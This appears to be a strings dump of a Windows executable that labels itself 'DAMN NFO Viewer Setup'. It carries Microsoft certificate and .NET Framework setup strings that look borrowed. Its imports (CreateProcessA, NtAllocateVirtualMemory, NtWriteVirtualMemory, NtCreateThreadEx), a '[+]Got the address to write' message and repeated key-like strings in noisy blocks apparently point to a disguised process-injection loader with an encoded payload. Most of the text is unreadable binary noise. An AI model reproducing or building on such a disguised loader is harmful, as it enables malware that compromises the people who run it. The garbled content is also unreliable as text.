!This program cannot be run in DOS mode.
`.rdata
.pdata
@.rsrc
8"_&CN
nc+9jkp/e20ip5um8p./g4&-c-&0uyb+
"%s" "%s"
[+]Got the address to write 0x%x
.zDYn9>6U
JS3:4&-c-&0uyb+nc+9jkp/e20ip5um8p./g4&-c-&0uyb+nc+9jkp/e20ip5um8p./g4&-c-&0uyb+nc+9jkp/e20ip5um8p./g5&-c.&0uyb+nc+9j
zpq}~=Ax&
`aO$>5
i$k4P(
X=6O[H
a& g_r
q]!?=up\
0.P'DX
l6N[AMCO
d\4,`
=TD6T:
]G/r4B_
S.u4=,
F*;]X3
}Bu"x
;-g\[;
U9J&=CS
V9.J9k_
kA]63
z[gr,0
\W:+zk
n6"u)I
oH`VKc
)]$t(l
,IM0,#Z
aM!J<:
$/3zQqL
wt.T`fK
f>(26{
ty7-i%Dd
$AqPwy
lod.VB
>E+2&.9
nh~?80L;
},PAvz
nn]0 Z
,"v|*d<V
>9y&kVW
ss5@<*
Z!+-~?
/fx'W]
Ht#dLf
M&T3Au<
`t]u_S
B7~I]%#)
}lz[}<m
Ue5Zw2
3BJiUh
?s{zdV
eD2bO0
Lx_*ma
tX]>E=i
Xg^+13
S@U%4)
,(-^n/
?.&Ko#
%YJ}y-
e*fShb
tNZt{g
Qd~%~9
PPJQ1:7
eYv5=^LZ
TB+iNl
-;wIKCk
>Z.'t|
9-tu26-
r "qnv
z1,uKi
W.|S)/
&xS=nw
~!wFND+
eJZ)H|
D|Jd%H
f*WMNL
[z1T@'
t9n(;x
{mN49(
0MX<YH
6+$qZT
CiBH*m
"DBz&0@
"<F+%h
r(,LThD
HZNLaXDv
}},]yZ
((#XC&_
'Hi\;0
n=N=XE'
kCT--s-
f+9"P2'
0u1Yif
b4&eX/S=<
kc+qQ)x[|{
3umpK,Zq}
+&0=B #
6Ohz3eq?1b=
1qn9kxp
)]z~84jo+<8
Pnn./+
n}-&q^
Eso(.j+0
nz4bql7lsq#85c
0r./g|
As5ump
*1ippF
-a-&4uybg
&/c-.0uy.
Q00is@H%
h*e2El1
/c-go4'#v/?tg16
72bql7lsq#85c
4rp5=^|T
O -e2x
%wm81qn9u{l?rxm
g>q/ez
Fc*9j#
Q-:p.f
f-&xN{
okpg^p8
b+&Xi1
6ip}NoMcf
)<P.gd
SAr0yp5
LQ=f^m
FSlc+}K
$mq71i*3
0|0dg($t#,o8
R)nc)LnX
9p.n8uxl?rxm.
V)nc(x
'9V0=z
-:p.YKx
A#0u{m
B*g4$"
h'0u=[Hfl
C"9jk4
/6jo+<8
S;jk1,
r5uVtTn]
|+e2qQH:
vybj1"ux7*,p;o
dT6z1cgy"xgf4.*
8x<Mo[u)
'-"VL>f$
=f4&hP
|,e2tQR:
|1um}H
tQQb*ncj
O~ybnW
f2uy#t/=jd+7/q8
v~lc+9.
Bkq/e~
*je4&-
Q-<p.f
Gcgy"xgf4.*
1qn9u{l?r
nb+9jX
v4jo+<8
<`/Zou
*d(e20
Cb_~Y)Lf#
&0uyb+nc+9jkp/e20ip5um8p./
msvcrt.dll
strlen
malloc
memset
getenv
sprintf
printf
__argc
__argv
_environ
_XcptFilter
__set_app_type
_controlfp
__getmainargs
kernel32.dll
GetModuleFileNameA
CreateProcessA
CloseHandle
SetUnhandledExceptionFilter
ntdll.dll
NtAllocateVirtualMemory
NtWriteVirtualMemory
NtCreateThreadEx
>=@95p
SUVWATAUAVAWH
XA_A^A]A\_^][
SUVWATAUAVAWH
A_A^A]A\_^][
_WQVPR
ZX^Y_APAQQRPARASH
A[AZXZYAYAX
vNHz/h
l}@m5M
bbtj*`K
i"RM4h@
H/Q )f7
OOHL1z
V+~b=]
Q@"Z6&{-
C*Y^h2
A}adX]
gQp%"7
1 EPx]
!7)&"S
*\Zv$'^
KE`*fZ~Mp
TCcAmm/
i$j[pd
["<&cM
'O)G2{
<;:R"?
'Q/V0~
f4ou-9
E*F=~U
Q{.LtUp
2LS@LY
v$UKd=
z8fO?/
\6."17
it.%qQ1|
%t`EB^=
#xRr&x~:
n,'_r"
>M}f7pa
{|iEJI
ldK=j&h
~|%v^e&m
fc_N$I
E7@GYOr^
,e+TP2
&@wMx;T
ETBMv=
b:F`B'&8
!Sh(!>T
TL&qdm
9T1$m$
..;Js
,l'u_Oa'9
_&rI^$OI1
J4'^>wA
+_!U^sn
>x.40
^*nhQ#
L6?r]'=
f.+1"'
kP|q?\
{EJ!]o
4x%8C"
2mBs!S
t<t+jJ
LBs{K`
e&4%?DS
M42;'
DG;z1S
J7e=rL
R0m&75B
;_5h|
<[gAGOhl}
cS?4z2
dW{EERcwY
r@>'?#2K
?[5yi
Z*bv1S^1
iWfxpe
rrM-O+
[,JO>8
C(}?2S
e##>?U
qPl"J
k[LUNM
jOa]1G
Dz17Vj_
%G"'bi7?
kFS`n&
7/ARy)i
=>!BhR
echXq/
xtSdLt
3eJO.0
iEJGS|Z
Ux;"y5
zD{b{-
tOng$f
^YGp v
cbe5(.
]^f*@[[
E#w$JI
,TCf+E
h>.gCZ
79JgAJ
5uzskn
R]Lk>.
dWrrsvz
*Qg>mf
Y[Q+,M
>[qNT@
5c$Y{A
T=&x\u
qK\hc.
j}My*h
=yL]5?
8(b<X^
39"a1`
IY<8,0
HO lACi
]k-3eS
.z8yb|
JV`r.0
|Yfg7P
B?Lm>O
0d~:`T
\4PI8(
7g 28q
\(aX3m
A7Q+Bcz
]xy`\#
mtR;k4\,
yw`u9\LS
^{iT@?
F;J4fu3
[pwu*^
`VDio
}oHL::^u
_E-6yP
52pe1k
{)szAl_
[X?V=-I
H0DQyo
ZQ'l%fHP
SG>H^V3x
$VLsL4
Z"+pQ{
:kV4~G
|^a|W.
z-?=_h2(B
y$[%?g
M"_mgQY
]AE3,5O
B|dwF:g
jWOqr?c}
FH>?|
Tt*'GU
Yx:3=b
nI|O&L
l|B6i>F"+*(
4F5Z:yB
I_j|#`
@ZnlF*
$,p W-o
P|h1:;
dq{d)v
ud5V9Y
&WCQnQ!+
~--/mK
.X/,]yt
ZXQ6~EI
ApQuK7
i<|:QW
0VgBq@P
WzpC?
hO9[P#
Y~nw>d|y%
N40ZJ^
keT+f
!U e+QQ
;<'^7v
[GPq8QG
_c1(R!YF
6v`}7[
ZfV4}K
/Rw2U(?S}h
s~H}]
tGGL]H@
[%.CXN
8rg"O:
l7e-7[j#O
-Due6
V11h&D
)Die`6
ir>/i'4
f1~#F;
!_:v3#N
$mL}P~V
W\mf_B
%f7`x4
TKOJ4x
/YM0&bs
sy\32H
"<Z$d6
(rGXxR
qRc{dj
s:ym+O
0&=y"q*
1X)1XP
YCx:ax~
7(4L6r
>s*^Zu
dvVT&3
a9&-Ql
S/G2lz
%'S[h9JT
H*l]51X@
Fn<>h)
xU"/hK
~5E"`
W*w8J)%
0tXNnc
Utx$u!3
Q!o[#(k
v15s<V
[b:N`7
}LgGjD
7U#9T@
g|Ep;\
(/z?kR
0@o7 X
tc{):^
V']lFF
+K6w n
vz1!n[
ry6!wpB
EH[iHNb
^Fd+L01
J_'RF.
~UR>XA
fN&RPt
cfp\FUM
\s9HmdK
EO-66+
T~ BC
`F2AG"
g>!=^
XE)&L4T
7??cp.n
'eX&~/>
I5~BN<
O1]_0\
kEe-[3
J`h@/!
O*mjbQ
{r$}r4
z:'it6
w)GWtk
=7M(LY}
2{,D!Q
f(~lnl
fQ/y1F
=v`X.u
v.NT^2
}\z5rrl(
Washington1
Redmond1
Microsoft Corporation1!0
Microsoft Time-Stamp PCA0
181024210736Z
200110210736Z0
Washington1
Redmond1
Microsoft Corporation1%0#
Microsoft America Operations1&0$
Thales TSS ESN:AE2C-E32B-1AFC1%0#
Microsoft Time-Stamp Service0
Chttp://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl0X
<http://www.microsoft.com/pki/certs/MicrosoftTimeStampPCA.crt0
Washington1
Redmond1
Microsoft Corporation1#0!
Microsoft Code Signing PCA0
190502212032Z
200502212032Z0t1
Washington1
Redmond1
Microsoft Corporation1
Microsoft Corporation0
P#4r5L
E0C1)0'
Microsoft Operations Puerto Rico1
229803+4541050
Qhttp://crl.microsoft.com/pki/crl/products/Microsoft%20Code%20Signing%20PCA(2).crl0f
Jhttp://www.microsoft.com/pki/certs/Microsoft%20Code%20Signing%20PCA(2).crt0
microsoft1-0+
$Microsoft Root Certificate Authority0
180920174200Z
210509232813Z0y1
Washington1
Redmond1
Microsoft Corporation1#0!
Microsoft Code Signing PCA0
?http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T
8http://www.microsoft.com/pki/certs/MicrosoftRootCert.crt0
[*{ol~
microsoft1-0+
$Microsoft Root Certificate Authority0
070403125309Z
210403130309Z0w1
Washington1
Redmond1
Microsoft Corporation1!0
Microsoft Time-Stamp PCA0
microsoft1-0+
$Microsoft Root Certificate Authority
?http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T
8http://www.microsoft.com/pki/certs/MicrosoftRootCert.crt0
1Jv1=+r
L&*H$_Z
Washington1
Redmond1
Microsoft Corporation1#0!
Microsoft Code Signing PCA
http://www.microsoft.com0
Washington1
Redmond1
Microsoft Corporation1!0
Microsoft Time-Stamp PCA
190725141838Z0#
Washington1
Redmond1
Microsoft Corporation1(0&
Microsoft Code Signing PCA 20110
190502213746Z
200502213746Z0t1
Washington1
Redmond1
Microsoft Corporation1
Microsoft Corporation0
E0C1)0'
Microsoft Operations Puerto Rico1
230012+4541350
Chttp://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl0a
Ehttp://www.microsoft.com/pkiops/certs/MicCodSigPCA2011_2011-07-08.crt0
21}a~M
|J(00I
Washington1
Redmond1
Microsoft Corporation1200
)Microsoft Root Certificate Authority 20110
110708205909Z
260708210909Z0~1
Washington1
Redmond1
Microsoft Corporation1(0&
Microsoft Code Signing PCA 20110
Ihttp://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl0^
Bhttp://www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0
3http://www.microsoft.com/pkiops/docs/primarycps.htm0@
*?*kXIc
QEX82q'
WqVNHE
Washington1
Redmond1
Microsoft Corporation1(0&
Microsoft Code Signing PCA 2011
9HdH|#
http://www.microsoft.com0
20190725141839.508Z0
Redmond1
Microsoft Corporation1-0+
$Microsoft Ireland Operations Limited1&0$
Thales TSS ESN:8D41-4BF7-B3B71%0#
Microsoft Time-Stamp service
Washington1
Redmond1
Microsoft Corporation1&0$
Microsoft Time-Stamp PCA 20100
180823202652Z
191123202652Z0
Redmond1
Microsoft Corporation1-0+
$Microsoft Ireland Operations Limited1&0$
Thales TSS ESN:8D41-4BF7-B3B71%0#
Microsoft Time-Stamp service0
Ehttp://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl0Z
>http://www.microsoft.com/pki/certs/MicTimStaPCA_2010-07-01.crt0
XP/aJQ5
Washington1
Redmond1
Microsoft Corporation1200
)Microsoft Root Certificate Authority 20100
100701213655Z
250701214655Z0|1
Washington1
Redmond1
Microsoft Corporation1&0$
Microsoft Time-Stamp PCA 20100
$`2X`F
Ehttp://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z
>http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0
1http://www.microsoft.com/PKI/docs/CPS/default.htm0@
oK0D$"<
r~akow
Redmond1
Microsoft Corporation1-0+
$Microsoft Ireland Operations Limited1&0$
Thales TSS ESN:8D41-4BF7-B3B71%0#
Microsoft Time-Stamp service
Washington1
Redmond1
Microsoft Corporation1&0$
Microsoft Time-Stamp PCA 20100
20190725210317Z
20190726210317Z0w0=
Washington1
Redmond1
Microsoft Corporation1&0$
Microsoft Time-Stamp PCA 2010
Washington1
Redmond1
Microsoft Corporation1&0$
Microsoft Time-Stamp PCA 2010
KEMax
Washington1
Redmond1
Microsoft Corporation1!0
Microsoft Time-Stamp PCA0
181024210736Z
200110210736Z0
Washington1
Redmond1
Microsoft Corporation1%0#
Microsoft America Operations1&0$
Thales TSS ESN:AE2C-E32B-1AFC1%0#
Microsoft Time-Stamp Service0
Chttp://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl0X
<http://www.microsoft.com/pki/certs/MicrosoftTimeStampPCA.crt0
Washington1
Redmond1
Microsoft Corporation1#0!
Microsoft Code Signing PCA0
190502212032Z
200502212032Z0t1
Washington1
Redmond1
Microsoft Corporation1
Microsoft Corporation0
P#4r5L
E0C1)0'
Microsoft Operations Puerto Rico1
229803+4541050
Qhttp://crl.microsoft.com/pki/crl/products/Microsoft%20Code%20Signing%20PCA(2).crl0f
Jhttp://www.microsoft.com/pki/certs/Microsoft%20Code%20Signing%20PCA(2).crt0
microsoft1-0+
$Microsoft Root Certificate Authority0
180920174200Z
210509232813Z0y1
Washington1
Redmond1
Microsoft Corporation1#0!
Microsoft Code Signing PCA0
?http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T
8http://www.microsoft.com/pki/certs/MicrosoftRootCert.crt0
[*{ol~
microsoft1-0+
$Microsoft Root Certificate Authority0
070403125309Z
210403130309Z0w1
Washington1
Redmond1
Microsoft Corporation1!0
Microsoft Time-Stamp PCA0
microsoft1-0+
$Microsoft Root Certificate Authority
?http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T
8http://www.microsoft.com/pki/certs/MicrosoftRootCert.crt0
1Jv1=+r
L&*H$_Z
Washington1
Redmond1
Microsoft Corporation1#0!
Microsoft Code Signing PCA
http://www.microsoft.com0
Washington1
Redmond1
Microsoft Corporation1!0
Microsoft Time-Stamp PCA
190725141838Z0#
Washington1
Redmond1
Microsoft Corporation1(0&
Microsoft Code Signing PCA 20110
190502213746Z
200502213746Z0t1
Washington1
Redmond1
Microsoft Corporation1
Microsoft Corporation0
E0C1)0'
Microsoft Operations Puerto Rico1
230012+4541350
Chttp://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl0a
Ehttp://www.microsoft.com/pkiops/certs/MicCodSigPCA2011_2011-07-08.crt0
21}a~M
|J(00I
Washington1
Redmond1
Microsoft Corporation1200
)Microsoft Root Certificate Authority 20110
110708205909Z
260708210909Z0~1
Washington1
Redmond1
Microsoft Corporation1(0&
Microsoft Code Signing PCA 20110
Ihttp://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl0^
Bhttp://www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0
3http://www.microsoft.com/pkiops/docs/primarycps.htm0@
*?*kXIc
QEX82q'
WqVNHE
Washington1
Redmond1
Microsoft Corporation1(0&
Microsoft Code Signing PCA 2011
9HdH|#
http://www.microsoft.com0
20190725141839.508Z0
Redmond1
Microsoft Corporation1-0+
$Microsoft Ireland Operations Limited1&0$
Thales TSS ESN:8D41-4BF7-B3B71%0#
Microsoft Time-Stamp service
Washington1
Redmond1
Microsoft Corporation1&0$
Microsoft Time-Stamp PCA 20100
180823202652Z
191123202652Z0
Redmond1
Microsoft Corporation1-0+
$Microsoft Ireland Operations Limited1&0$
Thales TSS ESN:8D41-4BF7-B3B71%0#
Microsoft Time-Stamp service0
Ehttp://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl0Z
>http://www.microsoft.com/pki/certs/MicTimStaPCA_2010-07-01.crt0
XP/aJQ5
Washington1
Redmond1
Microsoft Corporation1200
)Microsoft Root Certificate Authority 20100
100701213655Z
250701214655Z0|1
Washington1
Redmond1
Microsoft Corporation1&0$
Microsoft Time-Stamp PCA 20100
$`2X`F
Ehttp://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z
>http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0
1http://www.microsoft.com/PKI/docs/CPS/default.htm0@
oK0D$"<
r~akow
Redmond1
Microsoft Corporation1-0+
$Microsoft Ireland Operations Limited1&0$
Thales TSS ESN:8D41-4BF7-B3B71%0#
Microsoft Time-Stamp service
Washington1
Redmond1
Microsoft Corporation1&0$
Microsoft Time-Stamp PCA 20100
20190725210317Z
20190726210317Z0w0=
Washington1
Redmond1
Microsoft Corporation1&0$
Microsoft Time-Stamp PCA 2010
Washington1
Redmond1
Microsoft Corporation1&0$
Microsoft Time-Stamp PCA 2010
KEMax
MAINICON
VS_VERSION_INFO
StringFileInfo
040904b0
CompanyName
DAMN NFO Viewer Setup
FileTitle
FileDescription
DAMN NFO Viewer Setup
FileVersion
1,00,0,0
LegalCopyright
Copyright (C) 2001 Ivanopulo / DAMN
LegalTrademark
ProductName
ProductVersion
1,00,0,0
VarFileInfo
Translation
DMicrosoft .NET Framework 4.8 Setu
Legal_policy_statement
DMicrosoft .NET Framework 4.8 Setu
Legal_Policy_Statement
DMicrosoft .NET Framework 4.8 Setu
Legal_policy_statement
DMicrosoft .NET Framework 4.8 Setu
Legal_Policy_Statement